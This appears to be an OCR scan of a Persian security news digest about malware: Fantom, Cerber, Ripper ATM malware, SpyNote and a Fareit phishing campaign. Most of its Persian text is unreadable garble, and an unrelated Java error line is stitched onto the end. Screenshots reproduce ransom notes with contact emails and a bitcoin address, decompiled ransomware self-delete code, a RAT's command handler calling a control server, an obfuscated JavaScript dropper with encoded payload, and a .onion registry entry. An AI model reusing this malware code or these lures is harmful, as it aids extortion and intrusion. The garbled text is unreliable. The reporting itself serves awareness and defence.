it S A S (S digo Syt Aol s

35lg> (50 0)leid ¢l Y

i

91 2L 93 she (RUiSHe) slo)linl )Ll

e _ o Ql §A ‘)_?"(J9_é" . *mg‘l

Black Hat USA gloslas) (1,5 ago h

Gisho JyiS liaead 4 3945 glp ()h8l% PLC-Blaster ) 9
Cdlng,Sole (gl dumYuol dibye 6950 ks

Juniper ¢Sy Ygamo ) (Siiel Wb (pdiz @0yl

VSR

L o 4

0 ¢yl




).) O lod s> 9 L_)X’9JO_'>..O OA.LQ).)d.ﬂ)' c)ﬁuaf 4L.u) b..w.).i@o QS)JA) o0 ~ ...
ol @3 6)lgad A¥Vo Jlw )3 Guawli ¢)loj 1 aSui Caiol diso; J-I.".DCID.I.".'
L dblio glo)Sl) Guyihel jl 2 pleiny wledbl (59l Casial disoj )> (55LwolT
Lawl Ay H(ols dzgi (g Hulw Wladgs

FwS Al (swdigo CSyb ywlid)S owgi yaiue joh a5 4lem g (olpl 53 Jlaswd (gl
LSl pyiage jl (61032)S B s ol ) u> GBI cdllae (5ailes g b)idie Cunlgs)s 4
Mgy s 9 W Jul=xd oyt 4y (g0 E989 4 Juad yo b )3 &S |y (ploslag, g
D14i8) )8 (5w

i3S Jo S 99200 (lagi x9S (52)5)9139w 1 X2 plsic 4 o)lidlz L
Jw 093 dolo dw jd> L a> slo)li8l2L slaes MCAfee (Siuiel CiSyb bwgs 634 yiniio Lol
)5 ygie 33e )l a9 galie S e jl Pel?

RPGbol 5l (529 ((g3u0)d Yoo (i) L 1o (295 b iz slo)lisla dlaes )9 (yaed
35393 W) lislay )Ll (gl (sruls plazles 9 lungipngpg edlaiwl 3)90 Eul) (Sloywy,
EP S O dung) H9d 9 (oS (slodlg) ) Gl Hulms Sl g dSudbs Yo (53 09T
9 LeS)h Lo p Ghoul G pgwge ;29,5 Jadad Wlas (glyol @id i L Hlj813
1 G2 039 0391 pogia> )3 Jolepue 38lay plojlw pud) plel 9 9 o )5 Lo loju
Oloz g Gladgs g )3 s pyiage jl b 2)l5 00 ()l i Oliugd
590 Jluol (Lo 5 ) (g 0 lw

23 )90 > piliue (Gjgyel iy (§rulw OVez g 13)1i0130 b dblie &5 s (S

Sl (leidl) Cuwl S (pl Hlwld) 5 Gaogh 9 Gaixs Jols a5 S aSudb (wiigeo
Db o ¢l o5 Giols (glas)l



A e
& 2

{‘ﬂ_#‘

] - Z 7
ook iplida i ey

e L
3

TGRS T

g Sl Jisloste ot l M sz sl Ripper
35)|35 399 a5 (Lo 1o dod sl 5 (6339, 1353395 (sl 65w

®o4y/!f|—0
1391 Ul-n-+

TAb[ 108V | e
TEdH ~U>} g

81 2L PowerWare ) Cerber (WS, 0l » )hel 2b <Fantom

&) . Lo 13818 (ol ds (gloaidys
1y caiopgane TV L eslitl ) oligS L3ae Windows Update ol 9L )i81% o2 L

10 5l (g2 3> quac Zepto
Locky sl,)ljsl 22U

19 S glocSloy; \$ RUSH0) (sl )Ll Wy UPuisS ee szl
)381%0 ) 039)1 dung, IPIEL 93 ¢lp la)ls Jg83 9

'4:;\ . . v >
eI o laster Black Hat USA laslis) ooy nee [l v 75Vl

re isho JyiS Oljagxd dule 03 (5)l%)>

SOPHOS

" b NIST Las aclgs VA :Observatory Ve Glgio Juo ez sl vE POl Ol=udgs
® 8jlg)3S ()l il b ool el Slabis Gw)p sh Mozilla 5ol )l pBwies (555 Sophos Google Safe Browsing

S Vol dd)e puss
ST olo jl cadluwgySolo

”m iFI rmﬁ_"rlmhuuﬂﬂmll“ P

i ———————————— ___ub
-

wv uNo I * - d-). )ml )3 ..No - A W):S wa
MySQL > a0 j9, Symantec wVga=o

Juniper ¢Sy BYga=o






e e 2o et S SN £
-4:.1'_"‘{ f:ﬁ"-'#v\;"."wm:ﬁ % __-.*,"'.\I“ " ‘*'T'..-a_‘.l “l" '*. g

A4 yli-slas Ripper
iasagd wlasla i |

515810 51 esliiue] b Jiiwilgd laslgs olo yguyed ¥ U 55 13 dlol
5130395 (gl aBliws 1 1) ;¥ e PYA &l Ripper glgic L (3>
ALS Gy Al

ol FireEye wSyi jl i 4 yinS aud Luwiige S5 Gl @
solKiws EVM odis (g )Kiwd SOL o5 Gayb 5l leslgeo
Aled,S Ripper 13815 a4 6391 1 5150595

FireEye cSyi liimo bwgs a5 3818 ol (clp pb ol el Jus
sl 634 eMel ATMRIPPER (ylgic b (41 35 5 (s4ixd0 3929 634 (53 lw Lisd
lp Skimer Lol .l SKimer 3813 651gils> wlie (Silg= ;1 Ripper
SOL (151 aSids Ga,yb 51 6Bwd @ (wyiwd 3oL wBlwd (3903 6391
EVM sau (65w (50L &5)15 SO 5l exlasiwl L Ripper a5 (Jls o el
S 3985 68w @ Wlgi 50

oiwd E¢5 aw Ripper a5 ao350 liv FireEye «Subh (glosuw)y
A3 (5018 Bao |y Windows Jole @imaw U jlo395

03903 9930 jl a9 03,5 Jledyue ) j15)0395 (glaSaid byl lal)lpola
A5 50 ol (30le ) 35 Oy dwgyy «dbackup.exe dwgy

31353395 (sloolBiiws (B35 L by (oddgy (slgi=e Ripper aolsl >
39> e dwgy b 1) Wl jlxe (a2l oald 9 63)S )y |
jlowe Slopume )3 g EL L )81 (gldawgyy )5 ol L3S0 Nl
Nigi 50 Iyl

0w 3ulS dxduo (§a,b 1 U dgy dimdlgs 5318 418, (Ripper ¢y Iy=l b
S (g2 Canldyy 4y plasl layaes

) 59> ShowWindow GUI API ;lg=>1)8 L Ripper «ylazlgo )15 )LL L
A5 (50 (83

b b euws)ys @ Bitdefender g McAfee (glo ywgyi93u0 bowgs 953, 158100
Generic.Malware.STk.B47CEAA6 ¢ RDN/BackDoor-ATRip

D950 (52 wlicd
Caaol 03,5 5130395 (g0 (pal 035jl (LS 51 (0L FireEye sy

o | fuSc




ool puguals i Lyl
dad JLiGA |y =39yl

Ol @ h33985 Gisejpj (FOrum) (gg53aS )VB iz )3 9 63)5 )3
Ll 034 (jwyiwd (Jlo

03 Cas wlai (gl Slib g o Soly dlw (50 I |) a=lge SpyNote
0385w b 1y 13uo <3S 3giid |y (30,8 (gl wlal S By |y 6w (gg)
Sloolad g 3550 JyiiS )3 |y 0w (52193 S bawd olKiwd ()589)Sa0 |
395 sl 0hS Jlacl glp Hli8le (pl 3z o (Palo Alto Networks
L )5 &S Cwl ©)V wuas bz 5 Lol Cuwd ROOT (Jwyiwd (= AiojL
A3S Cadblgo ()l 03 Cuwlgs)d swyiwd (glojg=o jl (YU b Cauwypd
A5 iy 1) 23S H9pm Glarhis g

(552 diwlg>l (slodaly 9 635 joyd1 |y 395 Lilgl 0 SPYNOte (puizxan

A5 el 08w (59 12 )
3)90 (GlodyimS wygar i3l ol (ol el )l )Ll b 39,0 HUAS

355 )18 453645 3laiw
Gowypé JUad 595 sylib @b 1 (229)3] ©yxe Gloaely 55
035 39 Jid b ol jl oy o S39T 4oV L Nigdi0 295
U Oygay &S gldniS cwl (@islib gle) “Unknown Sources”

Ll Jlodyad (g329)35] (S095 (59) 32 US)9

2 395 Oyze L SLby )Ll 4 @890 (45])S3985 515 (550 3)lge > aidl
a>95 b Lol .351 sauv Google Play Store (9,351 aw) JUazwd )L g9,
Solypy S 3g9)9 Google e dlpScusuw oS 9 cuwlus
o> SO 45 614 03Uk ju (63)lge (siz .l ()T sl EVbI (g
Sl 034D 0315 3> (53L)8 W yl;81 4595 (] W 69T

625U j1 ] 395 5L 3)90 (5o Soliyy a5 3950 duogs BIB9S ded 4
SudS 51 g AS solatiw] 3¢5 LGN (59) 2 U09)291d jl LS Caolyyd yuiee
LS (615395 Liblb (glocSi (g9 p
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General | Compatibility | Securty | Details | Previous Versions

C' [} file:y///C:/Users/User/Desktop/DECRYPT_YOUR_FILES.HTML

Attention ! All your files have been encrypted. Fropety Value €9 I‘LwS)J 039A3 |)9 l (A g 03)5

Description
o descrpton s e WindowsUpdate.exe plo Lo
Due encrypting was used algoritm RSA-4096 and AES-256, used for protection military secrets. Type Application * lo .
That means = RESTORE YOU DATA POSIBLE ONLY BUYING decryption passwords from us. File versian 1210

Getting a decryption of your files 1s - SIMPLY task.

Product critical update kb1 M . M
That all what you need: Pzdﬂd ::fr:;n E.EI.C:lE.Iﬂup ) (:Ll? 6)3*3 d-)‘ )LS U-)‘l L*) 'AJS(J"O

1. Sent Your ID KEY on tl?ailbnx ffutmndl 2@yandex ru or fantom12@techemail com Copyright Copyright Microsoft © 2016
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e R Size 261 KB 65‘5 (JIHLOj WlndOWS Update

4_GET software with passwords for decrypt you files. Date modified 8/25/2016 10:58 AM

5. Make measures to prevent this type situations again. | anguage Language Nevtral

IMPORTANT(1) Legal trademarks Microsoft comporation © (o) A_m L(:L»O C) lSAl ‘0)3:\3 0'3 l . .)9;:2)(:,0

Do not try restore files without our help, this is useless and can destroy you data permanetly. Original flename  criticalupdate01 exe
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~
We Cant hold vou decryption passwords forever. lS M l I ’ S ) .) Lm 6 M . 3 ’ S M L) L)
ALL DECREYPTION PASSWORDS, for what wasn't we receive reward, will destroy after week of moment of encryption. ) 0) ) ) X LS ) X U ) PO
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// Token: 0x06000017 RID: 23 RVA: 0x00004B78 File Offset: 0x00002D78
public void SelfDelete()
r

string executablePath = Application.ExecutablePath;
StreamWriter streamWriter = new StreamWriter("update.bat");
streamWriter.WriteLine("@echo off");
streamWriter.WriteLine("del \"" + executablePath + "\"");
streamWriter.WriteLine("del %0");
streamWriter.Close();
Process.Start("update.bat");
Application.Exit();

}_

// Token: 0x06000015 RID: 21 RVA: 0x00004A50 File Offset: 0x00002C50
public void SelfDeleteWinupdate()
r

try
Iy

Process[] processesByName = Process.GetProcessesByName("WindowsUpdate");
for (int i = 0; i < processesByName.Length; i++)
f

Process process = processesByNamel[i];
process.Kill();
.
3
L8
i
catch
I

L
StreamWriter streamWriter = new StreamWriter("update0.bat");
streamWriter.WriteLine("@echo off");
streamWriter.WriteLine("del \"" + this.string_5 + "\"");
streamWriter.WriteLine("del %0");

streamWriter.Close();

Process.Start("update0.bat");
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https://technet.microsoft.com/en-us/library/ee857085.aspx
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CERBER RANSOMWARE DECRYPTION TOOL

Unfortunately, following our report, the authors of Cerber managed to fix the flaw in their

encryption process which enabled us to decrypt files encrypted by Cerber.

During the time the decryptor was functional, hundreds of users managed to decrypt their files

using our decryptor.

We will continue to search for new ways to decrypt files encrypted by Cerber and other

ransomware, and return them to their rightful owners.

For additional information about the Cerber ransomware, visit the Cerber Research Webpage.
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Description

HTTP request to control server for new commands

Send message from infected device

Forward and delete all SMS messages

Encrypt all files on SD card and add extension .enc

Encrypt all files on SD card in a specific path with extension .enc
Decrypt SD files Decrypt affected files on SD card that contain extension .enc
Decrypt path in SD files  Decrypt files in a specific path on SD card

Lock Lock screen

Exit Kill application and exit

39— (50 Pl ) LIS L 5 ployd ¥le>

Command Tag

Read commands
Send SMS message
Remove all SMS
Encrypt SD files
Encrypt path in SD

Oo~NouUhkhWhn=220

switch (1) {
case 0O:
mOa ( "http://commanciinimiaaasssmmmesn, 1 nbox ", CO001a.mSalgetContentResolver()));
return;
case 1:
C0004a.m2alsubstring2.substring(0, substring2.index0f(52)), substring2.substring(substring2.index0f(59) + 1});
return;
case 2:
CO002a.m7algetApplicationContext(), substring2);
return;
case 3:
Co006c ., ml3b():
return;
case 4:
CO006c.mllal);
return;
case 5:
CO006c ,mldb(substring2);
return;
case G:
CO006c .ml2a({substring2);
return;
case 7:
mlal);
ResultReceiver resultReceiver = (ResultReceiver) this.fOa.getParcelableExtra(”receiver");
Bundle bundle = new Bundlel():
bundle.putInt("Lock", 1);
resultReceiver.send(1l, bundle};
return;
case 3:
Co007d.mlSal) ;
return;
defaul t:

return;
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5 Follow TCP Stream

Stream Content

POST Jcommand HTTP/1.1

Content-Length: @

HIst D Comm e

Connection: Eeep-Alive

User-Agent: Apache-HttpClient FUMAVAILABLE (java 1.4)

HTTP/1.1 289 DK

Server: Cowbaoy

Connection: keep-alive

X-Powered-By: Express

Content-Type: text/fplain; charset=utf-8
Date: Mon, Bl Aug 2016 22:58:80 MY
Transfer-Encoding: chunked

Via: 1.1 vegur

i

Entire comversation (365 bytes)

Find Cave As Prink ASCI EBCDIC Hex Dump C Arrays D raw

Help Filter Out This Stream Close
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YOU MUST PAY BITCOINS TO UNLOCK YOUR COMPUTER

YOUR FILES HAVE BEEN MOVED TO A HIDDEN PARTITION AND CRYPTEL,
ESSENTIAL PROGRAMS IN YOUR COMPUTER HAVE BEEN LOCKED
ANMD YOUR COMPUTER WILL NOT FUNCTION PROPERLY

YOUR BITCOIN PAYMENT ADDRESS 15: aps
1G8tQeWrwpSTUTqunLjdNmMLTPQu7PRsMYd B

[COPFY THE ADDRESS EXACTLY / CASE SENSITIVE] BT
[CONFIRM FAYMENT BELOW TO UNLOCEK COMPLITER AND FILES]
IF YOU DX NOT HAVE BIMTCOINS VISTT WWW LOCALBITCOINS. COM TO PURCHASE
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Attention,
Plesse see attached payment swift document based on the instruction from our custamer, C | i b d I |
Should you have any Inguiry or reguire sssiskancg, plesse contalt your paver (Dur oustomer] at the contact number stated Inthe attached I p O a r 69) P 6 o 5 3 .
F I rrobe Ll you will need Adolse Acrobel Resder Verison 5.0 or above Lo view your advice. If you do not have the réguired *
Lwasr rdownload it from the dobe wekmsite al www adobe com
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FileZilla (=AW Cdlol lelMb] o
‘
Deibrad United Arab Emirates
Fan; #5371 4 317 1356 ——
s FTP Server
Thiz grnall and Lachrments are corfidenttsl end may alio be privileged, Il you are not the intended redipient, please delete all copies
and ngtity mediately. You may wizh Lo refer Lo the ingorporation details of Emirabes NED, Emirstes MBD Bank and thesr
sudsiclia lix emirgtewnbd. com e

2)5)90 (5))15 Gl (gl 031> »
Google Talk AIM (y9ad (ylw)yoly (5)3)5 Clws (gloodls

Paltalk g
Outlook yJa5 Email Client gla)lidl 0y (6,5 Gluws glo 6315 «

Windows Live Mail g

03 e (5l)li0le)5 (55p puilwa) Slelbl o
dla> (-l Kaspersky Sy i bawgi 634 plosl wiliag=s (wlwl
29,5 .Cuwl 634 pl=sl Operation Ghoul @ pgwge ;29,5 buwgs

Cawl 83,5 Iyol 1) (33250 las Yol Jlw j1 a5

b__wgi EmiratesNBD_ADVICE.exe (o Jsld digad aSisl pusgs
Fareit-FEJ'B8F6E6AOCB1B (sloplb LMCcAfee wSys (wopg3uo
9 Fareit-FEU'FC8DAS/75077A <Trojan-FILW!08C18D388099
g (50 (2wl Trojan-FIZX!'55358155F96B
Trojan.Generic.16721460 gL 0L L Lo s digas (pl (yaizad
9 Trojan.GenerickD.3295982 (Gen:Variant.Zusy.189893
JB Bitdefender (wgy193.6 bo_wgi Trojan.GenericKD.3350360
5L 50 53 Ll

Yo l fluS Q3L

(95 ole 1 45 831> s (g Wlas (glysl 5| Kaspersky sy
Calizeo (gl)gaiS )3 |y Cagivo 8j92 )3 Jlod Lidac (clo (ylojlw g Lo CaS )i
Cawl 031> (50 )9 VA

I8l pugulz G g (Phishing) Siiind slo Jaml @apb jl Olas ()l
Wo 51 Ui Kaspersky Sy aias & .cauwl did s (50 ygu0 5yl
9 pasn i (e ddxio Whlol (HliwSL Jold jouS Vo jl (lojluw
351 4i8)5 5118 09,5 (2l B30 ja0l by ygk) (g392u () linsye

) Olas (53 48,5 5,8 VAo (gl (ylojlw g Lo Sy dla=i ) )ldgas
A0 (50 D HowS SaSal 4

0 5 10 15 20 25 30

395 (50 paia2 4 5 ol pU (Others) jolw piad )
UP9R9MS S I JB O yiwS S (swdige S )S @
0 Siind o Jaasl 351 s ¢pl sl Ly 5> [Kaspersky
034D 418y )1, Bao (lo (ylojlw g Lo Sy (Silio 63) g YU 83 (43w
okl (ylaslge bwgs sl AThw (6)Kwd L .l 635 (50 Jlw)l
Olylel jd (SOL (gow jl a5 Cawl (gl 4oL duogs o Juasl a5 634 (50 dgailg
o Jaal (ol Cuwgay .l 034 JLwyl Emirates NBD b b (3)c 630



| POSTCH~1j51 - Motepad
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=]l =]

Eval(function(p,a,c,k,e,d){e=function{ci{return{c<a?’ ' re(parseInt (c/a))I+({c=c¥a)>357string. f .

tov. ZhyMEly===2){7 A="3y"+"3x+/=";7 z=t.v.zZh=0 1z(3w);1b(7 1=0;i<z.T;1++){7 c=0.11¢i);z[T]=A.
IR uDfa N="18. 37" a . d=b (O {a. N=p+ OO Fal Wy 7 oz=tovi(r 18Dt 1 Ca N,z AL P=hiOIMCT . 2Ca. M) D
=a.10();MCAl =RI{7 B=A+”\\\\22.1P”;M(q.ZCB)){? C=j.2v(B,1).2x();7 D=C.2w("\Nn"); 7 E=[};1b(? i=
k| Type|Stream|data|null|start|CloseallBrowsers|Instal TFF|InstallIE|wScript|File|Unrestricted|
| AppendChunk | Addnew| 0x80| 204 | Append| Recordset | IDAPDQOYICAGICAQICAYICEY DQOYICAYICAYICAQICAYICS
TLZxk ghGo  rwx Ny wWNo AW 5 TMIASTIFITZ2 T2dHI 5Lk vy 2F S TWF] aG TUZS SPCGVULE VI S2VEKEATUOSSVFDBUK WIV2 93N C
OKDOOQICAQICAQICAQICAgICAgawYgRG TUCIRhbGxTdHIpbmegPT OghnvshCkNCiagICAgICAQICAgQICAgICAQICAgSh
wiowmeyc2 Tvlbnm MFOpOWOKDQDgICAgICAgICA ICAQICA Ly8g22V01G1UCBthGWgZGTyZWNObBJSDQDEICAQICA Ik
hbEvkIGNS YNzl EZGDOPTDO0ICHIpdmFOZSEzdGFoawmgdmosyxRpbcUugrky gaws zdaF Uy 2U7D00ICHIpdmF0ZSBZdGFC
Tckva1poghmys IFdpbimyRxhiZzxB0awdukGxhc3rRTcnIve ik 70QogICAQICAQICAgICERbmS 1 ckva Lk RhdGEUQWRE KCIMm
4miAFDQogICAgY29uc3qndeludcBoULNTSUS IVFEQS ZEXVENSRUFEUOFGRSASIDES NDATDQOYICAGY 2 Suc3qgdw ] udCBeC
KICAgICAgICB%ZXJOVXN Z2vTUOxDbGT ThnggPSAWLADKICAGICAGICE]ZXI OVXNhZ 2V TUOXTZXI 2ZXI gPSAXLADK ICAC
wUHIWywASTED 1 dFEyh 2 NEZGRYyZXNZKG S ZCOLvZHYS ZSwgIk 5STULSIbm] DawFsaxp Ik 7DOogI CAGICAGQIESTULSIbm1
TUL9TaHv0ZE93b B0 gpowlkICAGIHEYaxZhdGUgSwiOUHRYIESTULSTaHv0Z593bigpbaogI CAgewlkICAGICAGICES
nZSWEdw1udCBuY2vdeMsIHJWZiBTRUNJdGVtW&OgZGV¥Q2vdeMSIHJ1ZiBJbnRQdHIgcmVOQ2vdeMSIHVpan?aZVW
jawRkcmvzoyhuc3NNbZ R1bGUS ICIDRVIUXONO YW NZUNT CnRUCHY ZElC T pow0 K TCA ICA?ICBDRVJUXONDYNSnZUN ChRL
YKGN1cnQsIEh]Zx10cyk 7DQogICAgTQOKDOOICHIpdmFOZSEIbNROAHI ghnNzTwok dwx TID0gSW5 OUHRYL 1pTcm87 oo
EaXJ1Y3vankuU2VOQ3V¥cmVudERpcmvjdGdeSh2Q3vycmvudERpcmVJdGdeSk?DngICAgICAgICAgICAvLO1uaXQc
QUOVDTUSEXORCLCBOULNTSUS JWFOPUFRITU aRVNQOUNFKT SNCTAGICADICAYICAYIG IMIChZdGF Od=MOITOgRYISTLIT
?ICAgICAgICAgICAgICBOUleU2hldGRVd24DKTSNCiAgICAgICAgICAgICAgICByZXRlcm4meFSC2U?DQDgICAgICAg
Cm9wU2vymeEZXM?DQplC21uZyBTEXNOZWOuRGTh22SVCBRpYBM?DQDNCnBlmeprBszFOaWMgY2xhCBMgVZTuMZID
0InvzZxIzmi 5kbewi LCBDaGFy U2 vOIDOgg2hhe TNTdC SBdxRvkvONCTAgc3RhdET ] IGve davybh i BIbnRGOHIgUZvUZELT
1TmthsthandHIEaquzc1?DQDgIA11awSOIHByb2N1c3NJRCAQIDA?DQDgICA dwTudCB0aHI TvwRIRCASIE T dFdy
Ujrhxthero| dMoTvhd 2ha0ryginaANsSoTY Se | 4GhzMzuRSpTcZ3RUTt x9S 817 2wvU] | uSp | xHRSMF I 08X 5SE2vggnoB2xnL
Gz240xpf2hiBnb | SXIrIikwd 1Pyv | waAP3V] TArgIhU85efTtgoR | EgT] 2k 801H | zmKEGOGTmot USSZMhuT vIus zMz6H
sssc6m70556|mxhnbg231akh655j|e44t6ga523movuuz|APPDATA?TEMPlFi1eSystemobject|Scriptinglshe11'.
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Certificate

General | Detals | Certification Path |

f:iﬂ Certificate Information

This CA Root certificate is not trusted. To enable trust,
install this certificate in the Trusted Root Certification
Authorities store.

Issued to: COMODO Certification Authority

Issued by: COMODO Certification Authority

Yalid from 7] 5/ 2016 to 7] 3/ 2026

Install Certificate...| 1osuer Soate |
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Type Data

REG_SZ {value not set)

REG_SZ waninet.dll

REG_3Z http:// pysvonjmbaTidbkz.onion/rejtyahF jsfip==
REG_DWWORD 000000001 (1)
<ns1:XMLFault xmlns:ns1="http://cxf.apache.org/bindings/xformat"><ns1:faultstring xmlns:ns1="http://cxf.apache.org/bindings/xformat">java.lang.OutOfMemoryError: Java heap space</ns1:faultstring></ns1:XMLFault>